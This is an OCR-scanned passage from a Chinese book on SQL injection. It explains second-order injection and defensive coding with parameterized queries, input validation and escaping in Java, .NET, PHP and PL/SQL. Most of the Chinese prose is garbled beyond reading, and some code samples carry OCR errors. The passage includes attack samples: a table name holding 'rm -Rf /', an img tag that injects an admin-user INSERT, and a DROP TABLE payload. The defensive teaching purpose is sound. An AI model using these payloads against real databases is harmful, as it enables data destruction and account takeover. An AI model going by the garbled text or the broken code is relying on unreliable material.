WG R IIRET, NMASKEWNS R EHEIm N . BSR4 R BATAE T % 4Rg
R ERE BN REEBEER), BEESHRIThAT.

AR, WGBS SQL AR ZE M A P AT AN XSS Buki. BHER
AT LT SQL yEA bug St B %R A% 2 B R4 B A 9 AR A P et S BRI R LS . X
SRR AT GE A S AR TERER E R A IER HTML ARGEQER =& ID R 2K hildE
B, ATREE S RUTH P BR B MAE R G S FEIEIL, 018 AR EE PR 2 R4
413 HTML T rAR .

2008 £E 3 2009 E 2 |7] IR A K& SQL EANTBGHFIH T —HF 689 2 3hiR 5 B AR BERE S T
BEROEF, HASKREHENLEFENT MR JavaScript AR . AEMTE
BEUEREERERZIN RN, BSnBPRBENERNEERNE, EHA 2 EL2EER
FAVF %6 25 7 S5 G 11 SR A8 S50 P 1) R BG

LD [ AN, 25 ] T LK 0408 P S A 420 28 i 3 81 12 P o B o 9 Th B, 3R AT LUE
it SQL {F AR E S XF I . 40 F o] M BB e IBE IR ZBRIERRGE S L 6 E),
M aT ME AL T Web 1R H R P HFRANE, FFrRE e A #mEAER JavaScript.

743 7 Oracle LETRIERGRS

1 BB 4 SOy 3F (5 B 4 )4 S8 A B B % B &5 0T DL B0 PR AR 45 A SR PR L Ay
(DBA)K L {Eis HIBATRE RS M4 .

MREANG I SHRLTIESR, W TFIRS 2T HA:
CREATE TABLE "!rm Rf /" (a varchar2(l));

FFAT LAY Oracle Bi3%.

R DBA SIFR A RAEAS spool #r4(DBA RETNA SQL MIA M 4 % it I M A) 1
SQL*Plus fifi4<, N SQL*Plus & ¥Rk Lk Hl 7 A5 5 LUEV 152X % . BT K SQL*Plus
L0 RS R AR EH LA S (UNIX 2 !, Windows 1 VMS S &S), M5 fa i # i A 4E
ABRERGEHLSIIT-

THEE 52T SQL*Plus HAKHFIF. EEI& T —T4E4 test.sql i spool 3T,
Z B AT Z IO

SPOOL test.sql

SELECT table_name FROM all tables WHERE owner="'SCOTT';
SFOOL OFF

@test.sqgl
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7.4.4 F BT RYRRE

WE SQL IEANRFA TRUES KT REd . AREHET, RERAURF (boin & 2 5)

ZE AT CAV i8] ) AR SRR o X £ S0 B 2 B R 55 TR R
- MEEERAENATEETRE, BTG ERASIRERHIITAR SQL fif, M

A A R A REVI A SQL FEASRMESEETT RS . g AR e TER
R 5 7 REFI H X LR

A, XS B EREIEER KA. 7T LUK BR 5V 2 KA IR TR R A 4
£, DVEARRAUR & AR R X R . B — MR R THEE, © B ATE R Mk
(E-¥

https://www.example.org/admin/ViewUser.aspx?UID=123

UID 25 %% SQL EAME, AN HERAA WU EERAE. BIRBIRRRN B
i ¥ T UE D3 3 3 skoR BRI % bug. B, WRMEHEGIE 7 — MLE FFH HTML
1 Web U, FHEE—IMECLERAIEE R ZTUENERR, oy Lo hiTiE
A0 SQL EHIREIE — A Bl FHRHIMHEE AR P

<img src="https://www.example.org/admin/ViewUser.aspx?UID=123;
+INSERT+INTO+USERS+ (username, password, isAdmin) +VALUES+ ("pablo',
'quest45th', true) ">

VHER, DVEBSuh iRk R @ By, Bodid kAT ek & N R Brar i R . (4
s, Bk #EODATEAN RESUR A HBIERIK SQL i), AR AR 2= B SUS Bk .

XBEAENEER: MEESIERAEEY R ERH FRATSUSSRIERI N A thAE. ZERINI
AABNFITH, PENAPEE D RATHREKIIT B EE R A U 8 (R 20 iRk 4 5)
HMEM SQL &), HHASREMRZINBHHILER. FoHRIRIANAH 7388 L IE# A TR
17— FhERfE, EAKRTTREHE & E] th A SCBL I R Do 36 i SR ARG B A TS A

75 AFE )4

BNMEXTNAT ZHEREEAR, EMATUME SQL EABHFE NG AR TRk
IEBR S N F R A i 1B 3 P A

90 FERPEH, Web PEEIRE SQL FENBRM, Kili# ol LURA S HFIH 1. BEHFA
AIXFRIFA R B ARRTIRAN, BEARF AL 4R LL B A0 st R, T 7 2B O S 2B A sl K L
FhAS A B R 45 A R ok LA A B

% Web NI FISMEEIEI(EL I Web 1B K3 ) S 34T — L A 0 A\ 50 ik SR 1 BT BH 1
SQL FEAHh. HATMH T HXEFHH THZE I R 0T 588 X B R . TERELEt
BLF, M HTTP &R B K T M S g £ T E, Rz EEMSUAZEM AR
REFFEH . BIESASIMNHET —F TSN RE I, SR FHRIFF XKLL ~H”SQL
FEAWRRE.
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FLHBL T, SQLIFARATRETFAE, HAITEHBERMAEN A OKREREIF. BEH T
X4 bug 5 HARIR A SR BOAR G SRR LA AR B« BATNR T A oAtk 77
ERPATE W ABGH FESL T, A FAIA SQL EAFRM B RIATEGE . A5 SMEAN
T — Ol R A B ik BV RF BT RE AR BT, SRR IR £ 03 L U5 B MR IR (IR B 5
BT,

FENANBERBIFARE. RAEPRNASFHEE, BRI ZPUEBIWRLBE AT
AFEIBBIFRIMEDL . & HIEH REWE R A TN A AR LA LR ARSI 6077 TR A B2 4 3 1%
5, i E AR E R B4 AR R L IR & RS I PR AT B Th i

7.6 tRikBEF R

1. BEFMNIT RS

o EN SRR ABHT RG AT TR EAR MY B BT A A S 88

o HR¥EPE AT IEARMARIR], Z2RlAH G B A ER LUBH LB %] dE A8 (RS KNS Buk
IR R, SQL %, PRMEFIATERPEN URL &Y. s HBIT A ZEFH).

o FRETEBIWBPIEHIMNE, LWL FBPIHERIEA DA ZEHBARE.

o R THEBKMMARIESS, WFEFERIFIRTIEB TREZIBHIEREAN A, |
W Z ¥4 1 HTTP 5K L.

2. FAZH SQLEAN

o RENMATIEE, IFWEEMFERTHARMMBIENER.

o HERNHBIMFTRAAT| S, WMRMAYHIIERGEE, MEMRKENBKITIIERBFT

o HHEBAEMATHBMINAKRINGE, FRAFITH.

o XMTRABNBIFE, ZWITE—MBISBUEHRIEY N H RTINS ZE SQL
FEANB . WRAKRENETE R R, W =68 5 i (A RE AR - 7 A3 SR AE A 3G M i o
FlR—NMEBEER.

3. EAREHME

o MNEMBKRIRT SQLIEARR, A EHL WM 5 HA bug FIBIARSS &K LMEXS
2 7 A TR A S

o XFFTF B SQL FEARIE BB (Fin I/ 48 11 @) RS2 FHEH X N A B Bt
Wi

o CEW ] BLAE A SQL VENSRAL N FH AT B B A Bl , LR B B R A R AT RSB
EAR L T V7 B AR .

o MRPERAIET AN HIHAEF RILT SQL FEANKRIRE, WA &£ 7w LA B il
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k. EEE, MBEFEIRFBEME SQLIEAATRZMAHES15 . Wik WAF Al fE
AERBERIEFEA DA, LS EMERKLI. 7K WAF 54, FHESW
AR, WRO LA WAF, WEE B 3 e DU A 2 A 0T 28 381
TR SR B LA R AT BEAFE IR TR B4 B

BE: WAUFEABGEKNABIE TSR3 SHMERA. RO2AE MFRENF
B(EHREEHTEM LTS FER)H R T —A SQL IENRIM, (8RR ALEF
MAERREHFISHFFR. RNREAIR

f@%: "JLMEH CHAR B CHR B HAMA i - F5F BT EEM ] 5).

E1RE: G RASREHER T AN IEE AT HIERAE, A ARSI B X TR IR 6] 7 Ik
MEZRIF & LB . DK N ER 2R X bug?

RRE: Lhr ERMRRAIEE RS, BATEIERS SRR Z G LT BARET A
M HE . 8 BT LB 7EAR SR SR S 80h 3R 38 T T P AN 7 SR R I 1 ) L«

LR RIR R G R U R INTR IR (TR ]

aUrrnanREnEN R ERE R
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8.1 #rik

M 4 FEB 7 5, WATE 7MW SQL HEAK A, BUTRERE SQL iEAE? Al
MAZEFFFIE R ) SQL AR — B AL? AERSZ SQL HEABGEH N AT RN R,
BREENT A RMBIUKESTR, 0] CUE RS Z AT — L& 5 A3 /R R Rk Y Bk
SQL FEN R o

AEH{NHE SQLIEAMKB Z2MIGIT AU . &EIHRENHFHH SQL i
FIEMETFBRNITE. BT RITRESMARIEMHEH TR, XEmICkERs, thayge
R AW HARMT . SMARIEREMAXKRMERG, Xt RGN %% BN AL
AEEPHREEN—HS . BRIDESNBEMARIEE BB MG, UERE TR
{7 AT EREEERIE R B OB MEEE. EREE —IME R, AT VHE A% 4 M B AT
CAE R 2 IR E .

AR BATAAZ PR REEE FM KR EAR . MR, LIXEE AR N X
CAMEARZ DS T84 XENFET XIS : AR A — i s ke i
B, N AT BEHRA B N A I AR 1R IX Ee i i R — AN R, B, ATRER BB A E
B B FEARUAEN 584 %3 SQL AL .

8.2 & AHAIIES

WIEJLEMASAD, 51K SQL FEAERAKRFEZ — R4 SQL BEWEIRRFHFHRE RS
BEPFEAT - X—AT A CEFE RN BNE LB MENZA SQL)ENH 5 %25 SQL AR H 1 E
ERHKEZ .

YER—MEINZ SR ShEF R B HE A%, KERINRRIEEHE SR FED A AP a] LUE
PR &AL AP RGP e AR B R ) SQL AW LS B3 H Bt A P AT 845 . IX B A HE R A S
BBENHANRERBEZENIE, ATLVEAEN RSB RBEZAENATZLHE LEH SQL
NS, 3T DZE R ZEHE RAHER PR EIRERIAE NS ER. ENEHRE T
REGEEN SR BRARS, FEEEETURER MM T EEARIE b E W, MRS
BB WKL

od, HABEENE, ZEGEAR —TMEEEERUEENEZLSH@EFIEIER
HEERERAN L. BRENASESUEESEIEERNE, BUNREEFAANEERE
WA T PR R BOSEBLR T 307 SQL, WMBARFTAEHIBL SQL ¥ A . Microsoft SQL
Server I Oracle K #ASZZ M EE MR, EAEMNZATHAFRETIREAENHZ SQL HEAK
MG AR PSSP T30 SQL HIEER A6k id BRElRBOR I, NMiZEIRFX
BN, BH—NMRBELED: CEFHERREEPEMIBENEENAZETRSTE
SR A oAl o B AR H], OB S BUN At A B A2 B SQL EAN . BRATIZESE 7 EH “7.3 F
B SQL EAN” — A AN A

FHER—MEASA SQL KGRI E 5 % B ARSI =B . BATEERE N RS
AU ZE Java, C#AI PHP 2 8L BARAS.
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Username = request ("username")

Password = request ("password")

sgl = "SELECT * FROM users WHERE username'" + Username + "' AND password='"
+ Password + "'"

Result = Db.Execute (Sql)

If (Result) /* successful login */

LR ETLSE L, WL
HARRFA 6 SQL 35 &) AT A S dqt. 5 2R EAHALHIEME, A REEAHAL
SQL #RAM R 4T, Bk, RihA T I K09 24056

SELECT * FRCOM ? WHERE username= 'jojn'
SELECT ? FROM users SHERE username = 'john'
SELECT * FROM users WHERE username LIKE 'j%' ORDER BY ?

WA, ARRIEFRRZFEG TG EREFHPTRAZHESQL, X6/
KRR TAEMEW, o TFHF:

String sql= "SELECT * FROM" + " WHRER user=?7 "

LR T RALFIA—A SQL EA P, @ AT £ XS HALE 6) i 1L th Bk P A,

—Rk B, deRE KA R HF XARBE SQL ARAKF, W AZH A EA SQL vAR Pl
BEGFTN, LEFTARTTAMEABRZGIFAFRESTEEH, ®AHESQL RA
TR AR AIZ P, (2T RE R R omE i etiat, B ABIRAEN KRR IZEN.

8.2.1 Java FRISELIER

Java 324t T JDBC HESL(FE java.sql A javax.sql @44 2% 8] * Sz BR)RAE 0 S oL T 45 57 7 iR 5
EFEVT I k. IDBC X2 ZRAEEREY R ik, GFEHEIE PreparedStatement JERE A
BHIEA].

THEAR R HINK S ZEEHNE T, RAMEA IDBC FARIBAXNEHITTES. HER,
WS CEIERARE ser<type>Ri¥, i setString)ig5E T M5 (2 )G ARSI E
(A 1 FF 4.

Connection con = DriverManager.getConnection{connectionString);
String sql = "SELECT * FROM users WHERE username=? AND password=?";
PreparedStatement lookupUsers = con.prepareStatement (sql);

// Add parameters to SQL query

lookupUser.setString (1, username); // add String to positien 1
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lookupUser.setString (2, password); // add String to position 2
rs = lookupUser.executeQuery();

7E 12EE A, BR T i Java $24LF) IDBC HEBLSL, 38 %534 BT LS F B bn i) 60 3k R
ViR EAE A . T U5 W B R R R AMERESR N Hibernate.

BT AT LA H A 9 SQL ThEEFIAT A48 1 JDBC Ihfig#h, Hibernate LR EE T A CHIT
AR E BRI E RS HALIEG] . Query W BRI T HAG LS RUAEHE SR e, Bl parameter)
BX JDBC KR i8] 5 HRLFF k.

T TH B8 F R s T n A { R A i 4% 280 Hibernate:

String sgl = "SELECT * FROM users WHERE username=:username AND" +
"password=:password";

Query lookupUser = session.createQuery(sql};

// Add parameters to SQL query

lookupUsers.setString ("username"”, username) ; // add username

lookupUsers.setString{"password",password) ; // add password

List rs = lookupUser.list();

BT R F R T A 25 A JDBC 2R [0 5 5 {2 £ /€ Hibernate. 14,
Hibernate M 0 JF4RTIAS 2R JDBC EEM | Friaw S &M Bk, FIRPHHE—ASEH 0,
BToAAIL

String sqgl = "“SELECT * FROM users WHERE username=? AND password=?";

Query lockupUser = session.createQuery(sql};

// BAdd parameters to SQL gquery

lookupUser.setString (0, username); // add username

lookupUser.setString(l, password): // add password
List rs = lookupUser.list();

8.2.2 .NET(C#)Hry&#{LiEa

Microsoft .NET &4t [ IREARM U, EfEH ADONET HEAXSHLIEH.
ADO.NET B84t T M i Thee, "Ll — SR ARG SE, xR MR AT AR
H%.

ADO.NET R4 [E7EV 10 ) BR FER R A AR AL T 4 R SRR OL2 7. I T Microsoft
SQL Server [f] System.Data.SqlClient, Fi-T Oracle {45 System.Data.OracleClient, LA 45 H
F OLE DB #1 ODBC #(##%# ] System.Data.OleDb #1 System.Data.Odbc. #57 BEARIE 15 1) $3E
FEE B 3T 166 ] O B0 08 1R i 4% 88 RO IR BN S PP IO R R SKOE FRAR B A SR B 7 . BRI R, AR EIE R
HRFEHSEIGENMBERAEER, LHERERETRNSHENEE TR L. 817 T
MBI EsH .
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% 8-1 ADO.NET WIERHBFBER SN EEE

RiR R IR 2 N iE 7
System.Data.SqlClient {@parameter
System.Data.OracleClient :parameter( R fEAT T 2HLAT SQL fir& 34 h)
System.Data.OleDb S SR OB B
System.Data.Odbc AT AR )RE S

FHEER T — M ERBEKIREIER, BAMEA SqiClient $IEIRMIRFHILEE . NET
XS KB

SglConnection con = new SqlCennection (ConnectionString) ;

string Sql = "SELECT * FROM users WHERE username=Qusername"” +
"AND password=@password";

cmd = new SqlCommand(Sgl, con);

// Add parameters to SQL query

cmd.Parameters.Add ("@username”, // name
SglDbType.NVarChar, // data type
16); // length

cmd.Parameters.Add ("@password”,
SglDbType.NVarChar,

16);
cmd.Parameters.Value ["@username”] = username; // set parameters
cmd.Parameters.Value["@password"] = username; // to supplied values
reader = cmd.ExecuteReader (};

BT RIBIF RR T #E OracleClient $E 4L F B S IR — NET R 108 HikiEA).
ER, RAEEMLIIAS FHB)FHSEREENT BS, MARRMKYIbLE.

OracleConnection con = new OracleConnection(Connectionstrinq);

string Sgl = "SELECT * FROM users WHERE username=:username"” +
"AND password=:password";

cmd = new OracleCommand(Sql, con);

// Add parameters to SQL query

cmd.Parameters.Add ("username", // name
OracleType.VarChar, // data type
16); // length

cmd.Parameters.Add ("password",

OracleType.VarChar,

16);
cmd.Parameters.Value["username”] = username; // set parameters
cmd.Parameters.Value["password"] = password; // to supplied values

reader = cmd.ExecuteReader();
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B 51X /M T 8o T 1] OleDbClient (3 R HtI2FF ES [ — NET NN SHLEH.
{# ] OleDbClient 5 OleDb 3BTRS, WLAUERICHEN 05 & AL NUF KRR MBS .

OleDbConnection con = new OleDbConnection (ConnectionString);

string Sql = "SELECT * FROM users WHERE username=? AND password=?";
// BAdd parameters to SQL query
cmd.Parameters.Add ("@username”, // name
OraDbType.VarChar, // data type
16); // length

cmd.Parameters.Add ("@password”,
OraDbType.VarChar,
186);

cemd . Parameters.Value["@username”] = username; // set parameters

]

cmd.Parameters.Value["@password"] password; // to supplied values

reader = cmd.ExecuteReader ();

B

vh ADO.NET 7 X A% f) A ¥40iE & 8, 45264 % T8 6 9 m$ 13 & T A b RA L& 6]+
BAMEVEES, Hldo, TALERHMER T RIEL AL, —RRH, BEFHRBIS
B(ELAEHAE K Ao AR —FF RATFRY S AT, B BT A4 S HAR A HIBZ ER
A —A a4 B A R AR

8.2.3 PHP & H{LiER

PHP [FIFEALE % T5 M BOR ERHESE . AP =FrEH WAHESE: Uik MySQL
¥R PE ) mysqli £, PEAR:MDB2 (& #4X T 47 PEAR::DB )L & ¥ i PHP HHEX &
(PDOMEH, EA 1A EASEMNERE T EF.

mysqli f23EFF PHP 5.x, AJ LA A MySQL 4.1 K2 [EHIRRA . ‘B RBH Pl At 808 e e 1
27—, IR S SRR LS BULIES] . T 7R T — 4 mysqli 812 8k
B

Scon new mysqgli("localhost", "username", " assword", "db");
q P

"SELECT * FROM users WHERE username=? AND password=?";

$sgl
S$cmd = Scon->prepare ($sgl);

// Add parameters to SQL query

Scmd->bind param("ss", $Susername, $password); // bind parameters as strings
$cmd->execute () ;

PEAR::MDB2 40 & —F i/ 2 A i FL S T 455 152 7 A0 8 P2 V7 IAE SR . MDB2 SZHRHME A
HESHMESSRAFEH T RARGLSH. FEOGTRR T WA R E S &R0
MDB2 e H)xs SR EAT. R AR 7 A58 FF U B 2 HD 7  f RLRF B BOR RIS

Smdb2 = & MDB2::factory{$dsn);
$sql = "SELECT * FROM users WHERE username=? AND password=?";
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Stypes = array('text', 'text'); // set data types
$cmd = Smdb2->prepare($sqgl, S$types, MDSZ PREPARE MANIP);
5data = array({Susername, S$password); // parameters to be passed

Sresult = Scmd->execute (5data);

PDO BREFE PHP 5.1 X2 JaMIRRA P . B —A M & BB FE N a2, A
TR F . PDO XFMEH B ST/ 5 SRR T2 okar 228 TEHGI TR T
eI R A f 42 2408 PDO SRIIE S HLIE 4]

$sql = "SELECT * FROM uses WHERE username=:username AND" +
"password=:password";

Sstmt = $dbh->prepare ($sql);

// bind values and data types

Sstmt->bindParam(':username', S$Susername, PDO: :PARAM STR, 12);

Sstmt->bindParam(':passeord', $password, PDO::PARAM STR, 12);

Sstmt-rexecute () ;

8.2.4 PL/SQL PHISHILIER

Oracle PL/SQL [F)#f S FFE S E 2 R H S i & . PL/SQL ZFFFH RS E
SFER@IM-DRFESH. FTHEHHFRRTOMERTHESHN PL/SQL EEELZ K
PL/SQL e ¥ S4B

DECLARE
username varcharZ(32);
password varchar2(32);
result integer;
BEGIN
Execute immediate 'SELECT count(*)} FROM users where username=:1 and
password=:2' into result using username, password;
END;

8.3 HrAEE

b AR T ey S A 0 SQL KFHLE SQL HEA, {HIXASRZ Ay ME— T 1
Xt SQL FEA % HIFBr. KA N AR (N 2 —F T F I Dh AR 3R K B B Br (R 18
4y BIi5).

S NI UE R U R A S W B B i N DAGRUE L7 & I P+ s SO HE R AR o el AR S 2
K S YR B R AR, BAT LR B A ENRERBOL S B ERBAERMA . HPFARRXE
IR NIRAE 73 45 RIRAIE (R IR 0 0 SO E 2 IE iE) A B 42 B0 UE (T I A HERR BAEE
SRANIRAE) . B TR S VRN GUX PR RAE LS A A Java. C#0 PHP #% X 50 IR
AR 1E SQL #EAN.
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B

PATENEHER), AR IER R Z AT, HAESRIEMAL THE(RH LB R, X
T HE LN A G A AR B A X R A £ B P  MAE B B A 8945 BB AR 2 4E M0 4 X,
ko, BANVEERT S OO LIEBEFTEFANBIEAL.

831 gBH&&E

M4 F R UE R H B T RAER AT R AFMA KR EERBER Ao — P B2 3T
IEMA RS SFIHEKRR, KA., BFGH A g, B, ERirsmA
EREANFRAFSS, WATREAFBRIEMAE NS SHT . BB 13 8 16 283 AfemnE
T Luhn 2 (— iRl R S&E ARBAR EEF A MR A RSB ERELK .

o/ B4 BIRUERT, N N5,

o BUBRAE HURRMEMMZ? MBMAENZREBFER, CRSBTHEE? MR

MANENZARAIER, EREEMREA S

o WK/ WRHEFRANTE, HKERETEH, EEMTHENRAKE? Wi
BARRND R FR, TRE/NTHERE AN MREERENM T, BRI
BERRTRIER? (B, WRPEKNE— NN, HENETFREL R, REBH
TEHHNEE? )

o KHRTEE WURMORRBTRE, CREEM FIREEEAEIE B FIEEA?

o HIEAZR HFREENETETWEMEIRRR? F/1, WREMIZENIEHRHT,
ERAWHCHBmGHERNEE, E2ERUSTHENEELNTMENFHE? WR
R —AARE, EHAMEHRNEER AT S5 SNTHES), MEMFH,
WA T E(<), WAHIE L.

LRABRRUERFERTERMEHENRER ., FTHE - MERMENRER, BRI
BHEAEE US B S:

~“\d{5} (-\d{4})?

A, IENFRE RN T FIMNUCE 5 6780 5 Ahn 4 A7 R B gl -

o MNd{5} HERULECF7FH LM S i F.

o (A\d{4})? HEBBULACY] REFETE(HI B ESE & ATEAECR B MBS F R/ U A7 3 F

o § EHIHNAEFHREARE. MEAFHFHRREIHWMBAZE, WIENERERH AL,

— R, TEIXFPEIARAE AT, B2 RBIERIhEEER Y, Ak, xFHEESHN
NS, B M U E BT A T RERSI AR AT, A RRIESTIERS B M. X
I8 FRIEME A KFREEI, R CHH X FHFEXFER Unicode FFH)HE 5 RKLHA
ML RN A . BUUSATREEH 18 9 500F, SRS 45 & A Ak ) F B (b dndi H 4wl (RAE
J5 T E LAt 407 BB 4 1] 00308 ) 3R A 1045 B B IE R b 22 .
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BRI EANAL B R
IR — ARG A & ERA AN T, Tit, €A TASHES(E
23 A EEARIER A 69 SR 22— A T8, TRA—ARIEFA T b
WHF, THATAENBH—ERAS K

o ERRMNBALR G L EMANBIEARIERTA A P A5 B B0k 4y
PE. B R AFEUF B XA,

o KEEPMANLELRHIATE L EMARIE, ZATUBIE DA P AR T
WA BB B IR S 8 A il Y 38 ) 69 4 0A 463 . AR LRI A 2 o1 H F 5,
B A S AT Aok A P ) W B 6h A i,

® & Web A/ 55 K3 (WAF)E R B 2 3 f0 & 4 Bty \BSIE(A R R “25.4 7 Fo “ A
ZI” AT H 6T X)AMRIRBEAAR AL W /FE 2k 2 B Fe W A0 52 ) 2

o AFEMY A4 A AIALR RBAE ) ARIEIAT 449 SQL 47,

o AHMIEE TR BB ANELEF A SQL 4 Hr A i 5o st S 4D,

L EﬁmM&ﬁ#*&kﬁ&ﬁiﬁﬁ%ﬁﬁ%%&%m.ﬁ#,%wﬁﬁ*i
T 0 AR 42T 55 S5 M A (XSS) AT 4R 2L,

832 ZEEH,

HARRIFRRBEACIERERNA RBALRE, SETHEMANNERERES
FECHMMAR TR, PRHERER. WRAAFLTREAFTAMNOERAL, BLNE
EERRELE. —BORE, XMHEMIIEEL AL RRIFES %, FENBENRR SR
FIRAFH R, XS IBARARFIRRBR, HRERUEBARTS, T LR E
FrixeeF .

YR A IR I % FA D7 vt R A A IE MRS, W A0 -8 LA P 4 sl 2 e 5
R, WTFHR:

YIEI==T R /N INANT I _INCI@ [ xp_

—RORYL, AREICLHMER RS, TINZRTRBERELSE. A, SFLEER
HA RO, V3R AT LU R A2 RIR G A R B . Aot X T gm, 2
50 7 42 B 1 R B 465 6 A6 P L B LU GRAE A B BU S RL B (L, P48 30 B S
ATBREDNRY R, AT BRAE fiE IE Atk b B2\ AR IE SQL ¥EA.
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& S

MNER W E AT
WABEL KR E A A? ZEABMAF E BRI F, 2ARERBOFRSE—
Adhik, BT ERA A TR EFE A

o HE MMAEREXRMKTRIERETAFTERMS LA, BFTLR LKA
KRRk | KB K W) P M, Jo R R B L B kAT AIE, ARLRE
W RTATE, BERARBAT ARFRFHGFTE, IR TG TR
A BRAELEBERFREGREREZFETIMAN, ATLREETEETH,
JEEAREF 3 SQL EA AL,

o %M BUAMSFHTAEZLMR, FTHRELHE —EAGHEAG.
FEREEFAFEREDT M, LkaksdtirRg, I FEET Eis,
1B REREF DS, FRAEEHZHZABXGBELRTLA P, BAhHiXL
1B e B HFIBMA T EABBIEG AR, IFAFTEOGIRSER: A
PR LRATHT, EAAEGLETRER, TABILEE P wdl LE AT
WA dG BT A B IE R AoiX — P, ARA BN P A2 RZABGHIE. Tk
X AR AR TR, BABERA P TASARAEARILIEENAE.

RE & AAF ik, AHARESA B EFPRERLT X AEGHF - ANMABIEHR, X

2t F A E A IE 69 & B WA 6947 H R AR A4 TR

8.3.3 Java FARYIMY NIRRT

Java FHEIANRIE LS R T EAFANES. BT BoR Java PRMARIE, RITEES—
¥ WA THIE Web N Java)IHESE(Java Server Faces[JSF])2 WA X4 ANSRIEHR HESTHF
B, BEXLIZEK, BIFRITEREX—MAIAKIER, %KL T javax faces.validator. Validator
B0, WSE T HIRLBIRE HAEARAE ISF P &1 T

public class UsernameValidator implements Validator {

public void validate (FacesContext facesContext,
UIComponent ulComponent, Object wvalue) throws ValidatorException
{
//Get supplied username and cast to a String
String username = (String)value;
//Set up regular expression
Pattern p = Pattern.compile("~[a-zA-z] {8, 12}8");
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//Match username

Matcher m = p.matcher (username);

if (!matchFound) {
FacesMessage message = new FacesMessage();
message.setDetail ("Not valid - it must be 8-12 letter only");
message.setSummary ("Username not wvalid");
message.setSeverity(FacesMessage.SEVERITY ERROR);
throw new ValidatorException{message);

}
FEER T A N AR INE faces-config.xml 344 LAE Jg F_F iR K IF 2§«

<validator>
<validator-id>namespace.UsernameValidator</validator-id>

<validator-class>namespace.package.UsernameValidator</validator-class>
</wvalidator>

B F 3k 6T LLZE AL 3510 ISP S04+ 5| I 4E faces-config.xml CAFFFRINMAZ, 0T Fin:

<h:inputText value="username" id="username" required="true">
<f:validator validatorId="namespace.UsernamaValidator" />
</h:inputText>

£ Java DB RAER, BF FRRA A B IFE——OWASP ESAPI(Enterprise Security
API), TTLAM www.owasp.org/index.php/ESAPI | F#. ESAPI &—F Al %R {FH WS % %k,
EERIT 5SREMXNTE, TUETXEFERMEZEMNA. XEIE org.owasp.esapi.
reference. DefaultValidator 1 A ES A SCEL, RTULE BT, HAILUKE/EN B € UMK
E5I %S % L.

8.3.4 .NET S0 NIIE

ASPNET MFAAETRETRZATFHARIENRERESH, KT BRAAHAKNE
RegularExpressionValidator #5441 CustomValidator 544 . #£ ASP.NET R 8 X a4 £ 77
SRBSMEF A, EATRBERATER FIRBIE. A, HAFFERA T HEIRNAAREIEEHR
BEF P 4RSS . R 5I4CHD S 18 Al RegularExpressionValidator 3 UE Fl * & %) F, FH P& H
BEFRBREHNNE)HF BRKBELANT 8 F 12 M FRFZIA.

<asp:textbox id="userName" runat="server"/>
<asp:RegularExpressionValidator id="usernameRegEx" runat="server"
ControlToValidate="username"
ErrorMessage="Username must contain 8-12 letters only."
ValidationExpression=""[a-zA-Z] {8, 12}35"/>

BT RICBEZ{EH CustomValidator il 042 % N EHH KT 40P RFER
EQEHEAH S E LR PwdValidate £ Tk %528 £, S stxt 04 EBEAT R



280 SQL EAH TSP

ClientPwdValidate £ F % F 5 i) JavaScript 2% VBScript 1, 3t/ %28 L/ 04 (1T
LT 8
<asp:textbox id="txtPassword" runat="server"/>
<asp:CustomValidator runat="server"
ControlToValidate="txtPassword"
ClientValidationFunction="ClientPwdValidate"

ErrorMessage="Password does not meet requirements."
OnServerValidate="PwdValidate" />

8.3.5 PHP Hayy AIEiE

PHP FEEKBMTRRE, Hi PHP T ARIEZFS Java iR, #EETHFERAMN
HESE, BEh PHP AW MR HELRGEHA ERMERRAEERE, FLFE PHP NAHHEERN
P AR

AL F PHP 5 R 2 R EUE W ME M AN RAE R EE G, B

e preg_match(regex,matchstring): 13 FH IE &KX regex X matchstring I M|k X

PL{EC.

e is_<type>(input): KEHAREE A<type>, HIU is_numeric()-

e strlen(input): FEEMARIE.

i preg_match B3 1E3R .2 B FIFFi0 T Fros:

$username = $_POST[ 'username'];

if (!preg match("/"[a-zA-Z] (8,12}$/D", $username) {
// handle failed walidation

}

8.4 %ALY

B T B U R A OB BN LASE, T A T X I B AS R BEER B AR 4 ) £ 33 B P AT
Zath. f& SQL MENENEH, W ARIEGHIEFEN N BFHITRGER “5IM” ROTHIERME, X
FTLAGRAE N A8 IERR AL B . A, XFARME—HEHTRENEE.

B H S AR LR R B ORI BT RS, IR MIEAEMR KNEIRRE L ™
RIS A, WERKAFE=HEWIRN . BATHKY, XFHFLS SQL EAKX, Hik
2R UL 25 P8 SR R 55 it 20 4 B 75 v R B A HH B oA 22 &= ) (L 3 XSS).

R AERBIEENAE

BIEME A T A4 RMARIE, ANRESERAENASTRINRESNZEN, LHLELENE
SQL FEH T &M AR . i, & O’Boyle EHMAMEARN, NiZAVFERZEMARIE
HE A . (BRI ASIAF 4 — SQL #hil], WZBHETIRERNME, W FHxR:

String sgl= "INSERT INTO names VALUES(' " + fname +" ',' "™ + lname + " ');"
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B4, AT LA AR BOR ISR, .

',' ');DROP TABLE names--

ERTLLK AT SQL B T B A 4

INSERT INTO names VALUES({' ',' '); DROP TABLE names--',' ');

AT LAE A TR [ A B S BULIE AR BT L ILX RS A, o FRESRAE S5/
SHWER IO, B LB AR S BER B BB AT RESERT B . XFITER R R T

B ACEBHE A v P X S A B AT R . W R EAER AN, WNARRESE
SQL ¥ E N

1. &3t Oracle BY4RH3

BT Oracle f F 8.5 | S4E 5 AT B RAF, BIMIA 6 EXHL & 7EF 9 5(F3 SQL H4%
BEZFHR)F NG SHTHRM. 7€ Oracle 1, LU AR BS| SHRAN 0TS
MFTERERmIGE 1. X SBRS | SH A EFH RN 8, MARTFRHEERK, M
AP RO P e B W AU SQL A, TTLMER S F 5L B4RFS7E Java s8]
& H 1.

sgl=sqgl.replace(" "' ", " ' ' m,

B, EARRISESBFERHE O'Boyle AL O”Boyle. W RE HAAFRIEIBETR, Bai%
FRBFH R O'Boyle, BMASAERITSHRER S| K FRF 845w 6 8. At PL/SQL
RIS HEAT 45 58 B i BLZ A S/ . i T7E PL/SQL R E R 85| S 3Rns | B E N S £
FrIREERTY), EM7E PL/SQL HHEMAMNAN AT SREBHEHAN AT S, LUz, 2
TAHTAL LT RAE AP 5 AR (h 4 D85 SRR #3135 AP 855 F 5
A, W

sgl=replace(sql , '''' , '''triy;
R TFHmER~ DAR SRR, BENES.
sql=replace (sql ,CHR(39) , CHR(39) || CHR(39)):

P HABKAE) SQL Thie, FFEFLEXZESA SQL FRAME B(BI LIKE FA+{FH
AL BE)RINGIRF. R\ ZROAR, HdEF el fESHHE P RAF
WAL (Z /G FFE LIKE FA) PRGN K TERE. 7F Oracle 1, % 8-2 7| H
FCFF4E LIKE 7] &H WM.

% 8-2 Oracle B LIKE FH MR
F " & X
% JURE 0 MR B MER TR
FHLE - MEETH




